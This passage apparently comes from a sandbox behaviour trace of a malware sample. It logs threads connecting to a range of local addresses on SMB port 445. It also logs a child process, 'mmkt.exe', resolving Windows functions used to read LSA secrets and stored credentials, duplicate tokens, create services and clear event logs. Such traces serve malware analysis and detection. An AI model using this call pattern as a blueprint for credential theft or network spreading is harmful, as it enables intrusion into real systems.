inet_addr (cp="192.168.2.131") returned 0x8302a8c0 [0144.604] htons (hostshort=0x1bd) returned 0xbd01 [0144.604] connect (s=0xae8, name=0x7fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.131"), namelen=16) Thread: id = 1069 os_tid = 0x1020 [0144.698] GetCurrentThreadId () returned 0x1020 [0144.698] GetCurrentThreadId () returned 0x1020 [0144.698] GetCurrentThreadId () returned 0x1020 [0144.698] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x811fdf0 | out: lpWSAData=0x811fdf0) returned 0 [0144.698] socket (af=2, type=1, protocol=0) returned 0xfac [0144.698] inet_addr (cp="192.168.2.132") returned 0x8402a8c0 [0144.698] htons (hostshort=0x1bd) returned 0xbd01 [0144.698] connect (s=0xfac, name=0x811fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.132"), namelen=16) Thread: id = 1070 os_tid = 0x1280 [0144.800] GetCurrentThreadId () returned 0x1280 [0144.800] GetCurrentThreadId () returned 0x1280 [0144.800] GetCurrentThreadId () returned 0x1280 [0144.800] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x825fdf0 | out: lpWSAData=0x825fdf0) returned 0 [0144.800] socket (af=2, type=1, protocol=0) returned 0xf90 [0144.801] inet_addr (cp="192.168.2.133") returned 0x8502a8c0 [0144.801] htons (hostshort=0x1bd) returned 0xbd01 [0144.801] connect (s=0xf90, name=0x825fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.133"), namelen=16) Thread: id = 1071 os_tid = 0x1270 [0144.885] GetCurrentThreadId () returned 0x1270 [0144.885] GetCurrentThreadId () returned 0x1270 [0144.885] GetCurrentThreadId () returned 0x1270 [0144.885] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x839fdf0 | out: lpWSAData=0x839fdf0) returned 0 [0144.885] socket (af=2, type=1, protocol=0) returned 0xfb0 [0144.886] inet_addr (cp="192.168.2.134") returned 0x8602a8c0 [0144.886] htons (hostshort=0x1bd) returned 0xbd01 [0144.886] connect (s=0xfb0, name=0x839fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.134"), namelen=16) Thread: id = 1072 os_tid = 0x1298 [0144.980] GetCurrentThreadId () returned 0x1298 [0144.980] GetCurrentThreadId () returned 0x1298 [0144.980] GetCurrentThreadId () returned 0x1298 [0144.980] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x84dfdf0 | out: lpWSAData=0x84dfdf0) returned 0 [0144.980] socket (af=2, type=1, protocol=0) returned 0x690 [0144.980] inet_addr (cp="192.168.2.135") returned 0x8702a8c0 [0144.980] htons (hostshort=0x1bd) returned 0xbd01 [0144.980] connect (s=0x690, name=0x84dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.135"), namelen=16) Thread: id = 1073 os_tid = 0x1288 [0145.089] GetCurrentThreadId () returned 0x1288 [0145.089] GetCurrentThreadId () returned 0x1288 [0145.089] GetCurrentThreadId () returned 0x1288 [0145.089] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x861fdf0 | out: lpWSAData=0x861fdf0) returned 0 [0145.089] socket (af=2, type=1, protocol=0) returned 0xc7c [0145.089] inet_addr (cp="192.168.2.136") returned 0x8802a8c0 [0145.089] htons (hostshort=0x1bd) returned 0xbd01 [0145.090] connect (s=0xc7c, name=0x861fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.136"), namelen=16) Thread: id = 1074 os_tid = 0xa08 [0145.134] GetCurrentThreadId () returned 0xa08 [0145.134] GetCurrentThreadId () returned 0xa08 [0145.134] GetCurrentThreadId () returned 0xa08 [0145.134] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x875fdf0 | out: lpWSAData=0x875fdf0) returned 0 [0145.134] socket (af=2, type=1, protocol=0) returned 0x994 [0145.134] inet_addr (cp="192.168.2.137") returned 0x8902a8c0 [0145.134] htons (hostshort=0x1bd) returned 0xbd01 [0145.134] connect (s=0x994, name=0x875fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.137"), namelen=16) Thread: id = 1075 os_tid = 0x126c [0145.277] GetCurrentThreadId () returned 0x126c [0145.277] GetCurrentThreadId () returned 0x126c [0145.277] GetCurrentThreadId () returned 0x126c [0145.277] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x889fdf0 | out: lpWSAData=0x889fdf0) returned 0 [0145.277] socket (af=2, type=1, protocol=0) returned 0xd98 [0145.277] inet_addr (cp="192.168.2.138") returned 0x8a02a8c0 [0145.277] htons (hostshort=0x1bd) returned 0xbd01 [0145.277] connect (s=0xd98, name=0x889fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.138"), namelen=16) Thread: id = 1076 os_tid = 0x128c [0145.323] GetCurrentThreadId () returned 0x128c [0145.323] GetCurrentThreadId () returned 0x128c [0145.323] GetCurrentThreadId () returned 0x128c [0145.323] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x89dfdf0 | out: lpWSAData=0x89dfdf0) returned 0 [0145.323] socket (af=2, type=1, protocol=0) returned 0x838 [0145.323] inet_addr (cp="192.168.2.139") returned 0x8b02a8c0 [0145.323] htons (hostshort=0x1bd) returned 0xbd01 [0145.323] connect (s=0x838, name=0x89dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.139"), namelen=16) Thread: id = 1077 os_tid = 0x127c [0145.488] GetCurrentThreadId () returned 0x127c [0145.488] GetCurrentThreadId () returned 0x127c [0145.488] GetCurrentThreadId () returned 0x127c [0145.488] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8b1fdf0 | out: lpWSAData=0x8b1fdf0) returned 0 [0145.488] socket (af=2, type=1, protocol=0) returned 0x884 [0145.488] inet_addr (cp="192.168.2.140") returned 0x8c02a8c0 [0145.488] htons (hostshort=0x1bd) returned 0xbd01 [0145.489] connect (s=0x884, name=0x8b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.140"), namelen=16) Thread: id = 1078 os_tid = 0x1568 [0145.618] GetCurrentThreadId () returned 0x1568 [0145.618] GetCurrentThreadId () returned 0x1568 [0145.618] GetCurrentThreadId () returned 0x1568 [0145.618] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8c5fdf0 | out: lpWSAData=0x8c5fdf0) returned 0 [0145.618] socket (af=2, type=1, protocol=0) returned 0xf74 [0145.618] inet_addr (cp="192.168.2.141") returned 0x8d02a8c0 [0145.618] htons (hostshort=0x1bd) returned 0xbd01 [0145.618] connect (s=0xf74, name=0x8c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.141"), namelen=16) Thread: id = 1079 os_tid = 0x153c [0145.744] GetCurrentThreadId () returned 0x153c [0145.744] GetCurrentThreadId () returned 0x153c [0145.744] GetCurrentThreadId () returned 0x153c [0145.744] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8d9fdf0 | out: lpWSAData=0x8d9fdf0) returned 0 [0145.744] socket (af=2, type=1, protocol=0) returned 0x934 [0145.744] inet_addr (cp="192.168.2.142") returned 0x8e02a8c0 [0145.744] htons (hostshort=0x1bd) returned 0xbd01 [0145.744] connect (s=0x934, name=0x8d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.142"), namelen=16) Thread: id = 1080 os_tid = 0x1538 [0145.865] GetCurrentThreadId () returned 0x1538 [0145.865] GetCurrentThreadId () returned 0x1538 [0145.865] GetCurrentThreadId () returned 0x1538 [0145.865] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8edfdf0 | out: lpWSAData=0x8edfdf0) returned 0 [0145.865] socket (af=2, type=1, protocol=0) returned 0x8c8 [0145.866] inet_addr (cp="192.168.2.143") returned 0x8f02a8c0 [0145.866] htons (hostshort=0x1bd) returned 0xbd01 [0145.866] connect (s=0x8c8, name=0x8edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.143"), namelen=16) Thread: id = 1081 os_tid = 0x144c [0145.976] GetCurrentThreadId () returned 0x144c [0145.976] GetCurrentThreadId () returned 0x144c [0145.976] GetCurrentThreadId () returned 0x144c [0145.976] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x901fdf0 | out: lpWSAData=0x901fdf0) returned 0 [0145.976] socket (af=2, type=1, protocol=0) returned 0x6ac [0145.976] inet_addr (cp="192.168.2.144") returned 0x9002a8c0 [0145.976] htons (hostshort=0x1bd) returned 0xbd01 [0145.976] connect (s=0x6ac, name=0x901fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.144"), namelen=16) Thread: id = 1082 os_tid = 0x1448 [0146.068] GetCurrentThreadId () returned 0x1448 [0146.068] GetCurrentThreadId () returned 0x1448 [0146.068] GetCurrentThreadId () returned 0x1448 [0146.068] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x915fdf0 | out: lpWSAData=0x915fdf0) returned 0 [0146.068] socket (af=2, type=1, protocol=0) returned 0x1178 [0146.068] inet_addr (cp="192.168.2.145") returned 0x9102a8c0 [0146.068] htons (hostshort=0x1bd) returned 0xbd01 [0146.068] connect (s=0x1178, name=0x915fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.145"), namelen=16) Thread: id = 1083 os_tid = 0x7d0 [0146.287] GetCurrentThreadId () returned 0x7d0 [0146.287] GetCurrentThreadId () returned 0x7d0 [0146.287] GetCurrentThreadId () returned 0x7d0 [0146.287] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x929fdf0 | out: lpWSAData=0x929fdf0) returned 0 [0146.287] socket (af=2, type=1, protocol=0) returned 0x117c [0146.288] inet_addr (cp="192.168.2.146") returned 0x9202a8c0 [0146.288] htons (hostshort=0x1bd) returned 0xbd01 [0146.288] connect (s=0x117c, name=0x929fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.146"), namelen=16) Thread: id = 1084 os_tid = 0x7c4 [0146.444] GetCurrentThreadId () returned 0x7c4 [0146.444] GetCurrentThreadId () returned 0x7c4 [0146.444] GetCurrentThreadId () returned 0x7c4 [0146.445] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x93dfdf0 | out: lpWSAData=0x93dfdf0) returned 0 [0146.445] socket (af=2, type=1, protocol=0) returned 0xd88 [0146.445] inet_addr (cp="192.168.2.147") returned 0x9302a8c0 [0146.445] htons (hostshort=0x1bd) returned 0xbd01 [0146.445] connect (s=0xd88, name=0x93dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.147"), namelen=16) Thread: id = 1085 os_tid = 0x568 [0146.583] GetCurrentThreadId () returned 0x568 [0146.583] GetCurrentThreadId () returned 0x568 [0146.583] GetCurrentThreadId () returned 0x568 [0146.583] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x951fdf0 | out: lpWSAData=0x951fdf0) returned 0 [0146.583] socket (af=2, type=1, protocol=0) returned 0x119c [0146.583] inet_addr (cp="192.168.2.148") returned 0x9402a8c0 [0146.583] htons (hostshort=0x1bd) returned 0xbd01 [0146.583] connect (s=0x119c, name=0x951fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.148"), namelen=16) Thread: id = 1086 os_tid = 0x56c [0146.831] GetCurrentThreadId () returned 0x56c [0146.831] GetCurrentThreadId () returned 0x56c [0146.831] GetCurrentThreadId () returned 0x56c [0146.831] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x965fdf0 | out: lpWSAData=0x965fdf0) returned 0 [0146.831] socket (af=2, type=1, protocol=0) returned 0x7a8 [0146.832] inet_addr (cp="192.168.2.149") returned 0x9502a8c0 [0146.832] htons (hostshort=0x1bd) returned 0xbd01 [0146.832] connect (s=0x7a8, name=0x965fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.149"), namelen=16) Thread: id = 1087 os_tid = 0x474 [0146.957] GetCurrentThreadId () returned 0x474 [0146.957] GetCurrentThreadId () returned 0x474 [0146.957] GetCurrentThreadId () returned 0x474 [0146.957] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x979fdf0 | out: lpWSAData=0x979fdf0) returned 0 [0146.957] socket (af=2, type=1, protocol=0) returned 0xd78 [0146.958] inet_addr (cp="192.168.2.150") returned 0x9602a8c0 [0146.958] htons (hostshort=0x1bd) returned 0xbd01 [0146.958] connect (s=0xd78, name=0x979fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.150"), namelen=16) Thread: id = 1088 os_tid = 0x640 [0147.119] GetCurrentThreadId () returned 0x640 [0147.119] GetCurrentThreadId () returned 0x640 [0147.119] GetCurrentThreadId () returned 0x640 [0147.120] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x98dfdf0 | out: lpWSAData=0x98dfdf0) returned 0 [0147.120] socket (af=2, type=1, protocol=0) returned 0x1bd8 [0147.120] inet_addr (cp="192.168.2.151") returned 0x9702a8c0 [0147.120] htons (hostshort=0x1bd) returned 0xbd01 [0147.120] connect (s=0x1bd8, name=0x98dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.151"), namelen=16) Thread: id = 1089 os_tid = 0x7b0 [0147.254] GetCurrentThreadId () returned 0x7b0 [0147.254] GetCurrentThreadId () returned 0x7b0 [0147.254] GetCurrentThreadId () returned 0x7b0 [0147.254] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9a1fdf0 | out: lpWSAData=0x9a1fdf0) returned 0 [0147.254] socket (af=2, type=1, protocol=0) returned 0x1318 [0147.254] inet_addr (cp="192.168.2.152") returned 0x9802a8c0 [0147.254] htons (hostshort=0x1bd) returned 0xbd01 [0147.254] connect (s=0x1318, name=0x9a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.152"), namelen=16) Thread: id = 1090 os_tid = 0x17c4 [0147.378] GetCurrentThreadId () returned 0x17c4 [0147.378] GetCurrentThreadId () returned 0x17c4 [0147.378] GetCurrentThreadId () returned 0x17c4 [0147.378] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9b5fdf0 | out: lpWSAData=0x9b5fdf0) returned 0 [0147.378] socket (af=2, type=1, protocol=0) returned 0x12dc [0147.379] inet_addr (cp="192.168.2.153") returned 0x9902a8c0 [0147.379] htons (hostshort=0x1bd) returned 0xbd01 [0147.379] connect (s=0x12dc, name=0x9b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.153"), namelen=16) Thread: id = 1091 os_tid = 0x1678 [0147.521] GetCurrentThreadId () returned 0x1678 [0147.521] GetCurrentThreadId () returned 0x1678 [0147.521] GetCurrentThreadId () returned 0x1678 [0147.521] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9c9fdf0 | out: lpWSAData=0x9c9fdf0) returned 0 [0147.521] socket (af=2, type=1, protocol=0) returned 0x13dc [0147.521] inet_addr (cp="192.168.2.154") returned 0x9a02a8c0 [0147.521] htons (hostshort=0x1bd) returned 0xbd01 [0147.521] connect (s=0x13dc, name=0x9c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.154"), namelen=16) Thread: id = 1092 os_tid = 0x1824 [0148.000] GetCurrentThreadId () returned 0x1824 [0148.000] GetCurrentThreadId () returned 0x1824 [0148.000] GetCurrentThreadId () returned 0x1824 [0148.000] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9ddfdf0 | out: lpWSAData=0x9ddfdf0) returned 0 [0148.000] socket (af=2, type=1, protocol=0) returned 0x1308 [0148.000] inet_addr (cp="192.168.2.155") returned 0x9b02a8c0 [0148.000] htons (hostshort=0x1bd) returned 0xbd01 [0148.000] connect (s=0x1308, name=0x9ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.155"), namelen=16) Thread: id = 1094 os_tid = 0x182c [0148.096] GetCurrentThreadId () returned 0x182c [0148.096] GetCurrentThreadId () returned 0x182c [0148.096] GetCurrentThreadId () returned 0x182c [0148.096] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9f1fdf0 | out: lpWSAData=0x9f1fdf0) returned 0 [0148.096] socket (af=2, type=1, protocol=0) returned 0x1458 [0148.096] inet_addr (cp="192.168.2.156") returned 0x9c02a8c0 [0148.096] htons (hostshort=0x1bd) returned 0xbd01 [0148.096] connect (s=0x1458, name=0x9f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.156"), namelen=16) Thread: id = 1095 os_tid = 0x1838 [0148.493] GetCurrentThreadId () returned 0x1838 [0148.493] GetCurrentThreadId () returned 0x1838 [0148.493] GetCurrentThreadId () returned 0x1838 [0148.493] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa05fdf0 | out: lpWSAData=0xa05fdf0) returned 0 [0148.493] socket (af=2, type=1, protocol=0) returned 0x2a8 [0148.493] inet_addr (cp="192.168.2.157") returned 0x9d02a8c0 [0148.493] htons (hostshort=0x1bd) returned 0xbd01 [0148.493] connect (s=0x2a8, name=0xa05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.157"), namelen=16) Thread: id = 1096 os_tid = 0x1848 [0148.595] GetCurrentThreadId () returned 0x1848 [0148.595] GetCurrentThreadId () returned 0x1848 [0148.595] GetCurrentThreadId () returned 0x1848 [0148.595] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa19fdf0 | out: lpWSAData=0xa19fdf0) returned 0 [0148.595] socket (af=2, type=1, protocol=0) returned 0x14dc [0148.596] inet_addr (cp="192.168.2.158") returned 0x9e02a8c0 [0148.596] htons (hostshort=0x1bd) returned 0xbd01 [0148.596] connect (s=0x14dc, name=0xa19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.158"), namelen=16) Thread: id = 1097 os_tid = 0x185c Process: id = "5" image_name = "mmkt.exe" filename = "c:\\users\\all users\\mmkt.exe" page_root = "0x34836000" os_pid = "0x844" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Users\\All Users\\mmkt.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0x854 [0060.946] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76f20000 [0060.946] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualProtect") returned 0x76f22ef0 [0060.946] VirtualProtect (in: lpAddress=0x14000016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x12fef8 | out: lpflOldProtect=0x12fef8*=0x2) returned 1 [0060.987] VirtualProtect (in: lpAddress=0x14000016f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x12fef8 | out: lpflOldProtect=0x12fef8*=0x4) returned 1 [0060.987] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefddc0000 [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10 [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetProvParam") returned 0x7fefddfb538 [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20 [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c [0060.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptSetKeyParam") returned 0x7fefddfb508 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptSetHashParam") returned 0x7fefddfb514 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction007") returned 0x7fefddcc800 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDuplicateKey") returned 0x7fefddfb690 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetKeyParam") returned 0x7fefddfb554 [0060.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetLengthSid") returned 0x7fefdddb580 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CopySid") returned 0x7fefdddbda0 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaClose") returned 0x7fefdde2040 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaOpenPolicy") returned 0x7fefdde0b40 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefdde20b0 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CreateWellKnownSid") returned 0x7fefddcdd34 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CreateProcessAsUserW") returned 0x7fefddcafe8 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CreateProcessWithLogonW") returned 0x7fefde2fa50 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExW") returned 0x7fefdddc2d0 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegEnumValueW") returned 0x7fefdddc420 [0060.989] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegEnumKeyExW") returned 0x7fefdddc310 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryInfoKeyW") returned 0x7fefdddc360 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction032") returned 0x7fefde138f0 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ConvertSidToStringSidW") returned 0x7fefdddbf70 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="QueryServiceObjectSecurity") returned 0x7fefddfb23c [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="QueryServiceStatusEx") returned 0x7fefddc7004 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="BuildSecurityDescriptorW") returned 0x7fefddc5e80 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenServiceW") returned 0x7fefddcc2c0 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="StartServiceW") returned 0x7fefddc6ff0 [0060.990] GetProcAddress (hModule=0x7fefddc0000, lpProcName="FreeSid") returned 0x7fefdddb818 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ControlService") returned 0x7fefdde3bd8 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SetServiceObjectSecurity") returned 0x7fefddfb1ac [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="DeleteService") returned 0x7fefdde3bc4 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AllocateAndInitializeSid") returned 0x7fefdddb63c [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CloseServiceHandle") returned 0x7fefddd7e04 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CreateServiceW") returned 0x7fefdde3b44 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="IsTextUnicode") returned 0x7fefdde0720 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountNameW") returned 0x7fefddcded4 [0060.991] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="DuplicateTokenEx") returned 0x7fefddcd310 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CheckTokenMembership") returned 0x7fefddcd980 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptSetProvParam") returned 0x7fefddfb4fc [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEnumProvidersW") returned 0x7fefddfb5b0 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ConvertStringSidToSidW") returned 0x7fefdde0ec0 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaFreeMemory") returned 0x7fefddce390 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SetThreadToken") returned 0x7fefddcd344 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction006") returned 0x7fefddc68e0 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEnumProviderTypesW") returned 0x7fefddfb600 [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetUserKey") returned 0x7fefddfb52c [0060.992] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenEventLogW") returned 0x7fefddc6a90 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ClearEventLogW") returned 0x7fefde21f00 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetNumberOfEventLogRecords") returned 0x7fefde220d0 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptSignHashW") returned 0x7fefddfb474 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaRetrievePrivateData") returned 0x7fefddc4450 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaOpenSecret") returned 0x7fefde29c40 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaQueryTrustedDomainInfoByName") returned 0x7fefde08d80 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaQuerySecret") returned 0x7fefde29ba0 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction001") returned 0x7fefddfda0c [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction005") returned 0x7fefddfd934 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction013") returned 0x7fefde20c30 [0060.993] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LsaEnumerateTrustedDomainsEx") returned 0x7fefde08c80 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="StartServiceCtrlDispatcherW") returned 0x7fefddc5e58 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegisterServiceCtrlHandlerW") returned 0x7fefddc36c0 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SetServiceStatus") returned 0x7fefddca6d8 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="IsValidSid") returned 0x7fefddd1730 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeNameW") returned 0x7fefde26cf0 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CredFree") returned 0x7fefdde0c10 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CredEnumerateW") returned 0x7fefde2cf50 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction025") returned 0x7fefdde2b80 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefddd2040 [0060.994] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetSidSubAuthority") returned 0x7fefddd1754 [0060.995] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetSidSubAuthorityCount") returned 0x7fefddd1740 [0060.995] GetProcAddress (hModule=0x7fefddc0000, lpProcName="SystemFunction024") returned 0x7fefde20b10 [0060.995] GetModuleHandleA 